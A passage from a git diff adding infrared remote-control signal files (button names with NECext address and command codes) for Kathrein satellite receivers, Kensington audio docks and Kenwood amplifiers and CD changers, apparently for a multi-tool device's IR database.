+address: 22 90 00 00 +command: 00 00 00 00 +# +name: 0_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 01 00 00 00 +# +name: 1_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 02 00 00 00 +# +name: 2_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 03 00 00 00 +# +name: 3_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 04 00 00 00 +# +name: 4_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 05 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 05 00 00 00 +# +name: 5_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 06 00 00 00 +# +name: 6_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 07 00 00 00 +# +name: 7_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 08 00 00 00 +# +name: 8_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 09 00 00 00 +# +name: 9_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 0C 00 00 00 +# +name: POWER_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 0D 00 00 00 +# +name: MUTE_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 0D 00 00 00 +# +name: I +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 0F 00 00 00 +# +name: I_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 0F 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 10 00 00 00 +# +name: VOLUME_UP_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 10 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 11 00 00 00 +# +name: VOLUME_DOWN_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 11 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_UP_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 1F 00 00 00 +# +name: CHANNEL_DOWN_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 1F 00 00 00 +# +name: FFW_>> +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 20 00 00 00 +# +name: FFW_>>_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 20 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 21 00 00 00 +# +name: REW_<<_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 21 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 31 00 00 00 +# +name: STOP_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 31 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 37 00 00 00 +# +name: RECORD_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 37 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 38 00 00 00 +# +name: PLAY_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 38 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 39 00 00 00 +# +name: PAUSE_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 39 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 3C 00 00 00 +# +name: TEXT_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 3C 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 54 00 00 00 +# +name: MENU_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 54 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 55 00 00 00 +# +name: EXIT_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 55 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 58 00 00 00 +# +name: CURSOR_UP_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 58 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 59 00 00 00 +# +name: CURSOR_DOWN_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 59 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 5A 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 5A 00 00 00 +# +name: CURSOR_LEFT_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 5A 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 5B 00 00 00 +# +name: CURSOR_RIGHT_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 5B 00 00 00 +# +name: CURSOR_CENTER/OK +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 5C 00 00 00 +# +name: CURSOR_CENTER/OK_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 5C 00 00 00 +# +name: FAV/RED/ROT +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 6D 00 00 00 +# +name: FAV/RED/ROT_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 6D 00 00 00 +# +name: N +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 6E 00 00 00 +# +name: N_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 6E 00 00 00 +# +name: OPT/YELLOW/GELB +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 6F 00 00 00 +# +name: OPT/YELLOW/GELB_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 6F 00 00 00 +# +name: TV/R/BLUE/BLAU +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 70 00 00 00 +# +name: TV/R/BLUE/BLAU_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 70 00 00 00 +# +name: EPG +type: parsed +protocol: NECext +address: 22 90 00 00 +command: CC 00 00 00 +# +name: EPG_B +type: parsed +protocol: NECext +address: 22 90 00 00 +command: CC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kathrein/Satellite/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kathrein/Satellite/0,-1.ir new file mode 100644 index 000000000..ef664d65f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kathrein/Satellite/0,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: I +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: R +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: CURSOR_CENTER/OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: UHR_(SYMBOL) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: POWER_(SYMBOL) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: MUTE_(SYMBOL) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: CURSOR_VOL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: CURSOR_VOL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: L +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: EIERUHR_(SYMBOL) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: STEREO_(SYMBOL) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: F +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kathrein/Satellite/34,144.ir b/assets/resources/infrared/_CSV-IRDB_/Kathrein/Satellite/34,144.ir new file mode 100644 index 000000000..7604bee03 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kathrein/Satellite/34,144.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 00 00 00 00 +# +name: 1/POWER_ON +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 09 00 00 00 +# +name: POWER_OFF/STANDBY +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 0D 00 00 00 +# +name: I +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 0F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 11 00 00 00 +# +name: PROG_+ +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 1E 00 00 00 +# +name: PROG_- +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 1F 00 00 00 +# +name: FFW +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 20 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 21 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 31 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 37 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 38 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 39 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 3C 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 54 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 55 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 58 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 59 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 5A 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 5B 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 5C 00 00 00 +# +name: ROT/RED_FAV +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 6D 00 00 00 +# +name: N/GREEN_PIP +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 6E 00 00 00 +# +name: GELB/YELLOW_OPT +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 6F 00 00 00 +# +name: BLAU/BLUE_TV/R +type: parsed +protocol: NECext +address: 22 90 00 00 +command: 70 00 00 00 +# +name: EPG +type: parsed +protocol: NECext +address: 22 90 00 00 +command: CC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kathrein/Unknown_KathreinUFD400/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kathrein/Unknown_KathreinUFD400/0,-1.ir new file mode 100644 index 000000000..d5ec1d201 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kathrein/Unknown_KathreinUFD400/0,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_R +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: ab +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: off +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: dwn +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_L +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: mid +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: stero +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: KEY_F +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kensington/MP3 Player/51,170.ir b/assets/resources/infrared/_CSV-IRDB_/Kensington/MP3 Player/51,170.ir new file mode 100644 index 000000000..c91085b39 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kensington/MP3 Player/51,170.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 33 AA 00 00 +command: 00 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 33 AA 00 00 +command: 04 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: 33 AA 00 00 +command: 08 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 33 AA 00 00 +command: 0C 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 33 AA 00 00 +command: 17 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kensington/iPod Dock/51,170.ir b/assets/resources/infrared/_CSV-IRDB_/Kensington/iPod Dock/51,170.ir new file mode 100644 index 000000000..b1b176579 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kensington/iPod Dock/51,170.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 33 AA 00 00 +command: 00 00 00 00 +# +name: 1_VOLUME_- +type: parsed +protocol: NECext +address: 33 AA 00 00 +command: 00 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: 33 AA 00 00 +command: 04 00 00 00 +# +name: 1_TRACK_+ +type: parsed +protocol: NECext +address: 33 AA 00 00 +command: 04 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: 33 AA 00 00 +command: 08 00 00 00 +# +name: 1_PLAY/PAUSE +type: parsed +protocol: NECext +address: 33 AA 00 00 +command: 08 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: 33 AA 00 00 +command: 0C 00 00 00 +# +name: 1_TRACK_- +type: parsed +protocol: NECext +address: 33 AA 00 00 +command: 0C 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 33 AA 00 00 +command: 17 00 00 00 +# +name: 1_VOLUME_+ +type: parsed +protocol: NECext +address: 33 AA 00 00 +command: 17 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,0.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,0.ir new file mode 100644 index 000000000..219a9044a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,0.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: +10 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0D 00 00 00 +# +name: TIME_DISPLAY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0E 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 80 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 81 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 82 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 83 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 84 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 85 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 86 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 87 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 88 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 89 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 97 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9A 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9B 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9C 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: P_MODE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C4 00 00 00 +# +name: CLEAR_/_PTY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CA 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,1.ir new file mode 100644 index 000000000..5bd9c76fd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,1.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 5A 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 5E 00 00 00 +# +name: FOLDER_NEXT +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 91 00 00 00 +# +name: FOLDER_PREV +type: parsed +protocol: NECext +address: B8 01 00 00 +command: 92 00 00 00 +# +name: INPUT_SELECTOR +type: parsed +protocol: NECext +address: B8 01 00 00 +command: CC 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: B8 01 00 00 +command: D4 00 00 00 +# +name: TONE_TURN_OVER +type: parsed +protocol: NECext +address: B8 01 00 00 +command: D5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,2.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,2.ir new file mode 100644 index 000000000..98d213557 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,2.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: SKIP_<<_/_P.CALL +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 00 00 00 00 +# +name: SKIP_>>_/_P.CALL +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 01 00 00 00 +# +name: SEARCH_<<_/_TUNING +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 02 00 00 00 +# +name: SEARCH_>>_/_TUNING +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 03 00 00 00 +# +name: STOP_/_AUTO/MONO +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 04 00 00 00 +# +name: TUNER_/_BAND +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 06 00 00 00 +# +name: PLAY/PAUSE_/_CD +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 07 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 1D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 1E 00 00 00 +# +name: +100 +type: parsed +protocol: NECext +address: B8 02 00 00 +command: 4F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,4.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,4.ir new file mode 100644 index 000000000..356332258 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,4.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: MODE +type: parsed +protocol: NECext +address: B8 04 00 00 +command: 9D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,7.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,7.ir new file mode 100644 index 000000000..d2f7d49e5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Amplifier/184,7.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: CURSOR_DOWN_/_SOUN +type: parsed +protocol: NECext +address: B8 07 00 00 +command: 50 00 00 00 +# +name: CURSOR_UP_/_SOUND_C +type: parsed +protocol: NECext +address: B8 07 00 00 +command: 51 00 00 00 +# +name: CURSOR_LEFT_/_SOUND +type: parsed +protocol: NECext +address: B8 07 00 00 +command: 52 00 00 00 +# +name: CURSOR_RIGHT_/_SOUND +type: parsed +protocol: NECext +address: B8 07 00 00 +command: 53 00 00 00 +# +name: ROOM_EQ +type: parsed +protocol: NECext +address: B8 07 00 00 +command: 56 00 00 00 +# +name: FLAT +type: parsed +protocol: NECext +address: B8 07 00 00 +command: 57 00 00 00 +# +name: D-BASS +type: parsed +protocol: NECext +address: B8 07 00 00 +command: 5F 00 00 00 +# +name: PLAY/PAUSE_/_DIGITAL +type: parsed +protocol: NECext +address: B8 07 00 00 +command: 9B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Changer/182,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Changer/182,-1.ir new file mode 100644 index 000000000..c79281680 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Changer/182,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 09 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 11 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 13 00 00 00 +# +name: DISC_SKIP_DOWN +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 16 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 16 00 00 00 +# +name: DISC_SKIP_UP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 17 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 17 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 19 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 1A 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4F 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 91 00 00 00 +# +name: DISC_SELECTOR +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 9C 00 00 00 +# +name: BEST_SELECTION +type: parsed +protocol: NECext +address: B6 00 00 00 +command: D2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Changer/182,72.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Changer/182,72.ir new file mode 100644 index 000000000..9ed79a98a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Changer/182,72.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: MODE +type: parsed +protocol: NECext +address: B6 48 00 00 +command: 03 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Changer/184,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Changer/184,-1.ir new file mode 100644 index 000000000..e8e0fbb0b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Changer/184,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 06 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 07 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 08 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C9 00 00 00 +# +name: PAUSE +type: parsed +protocol: 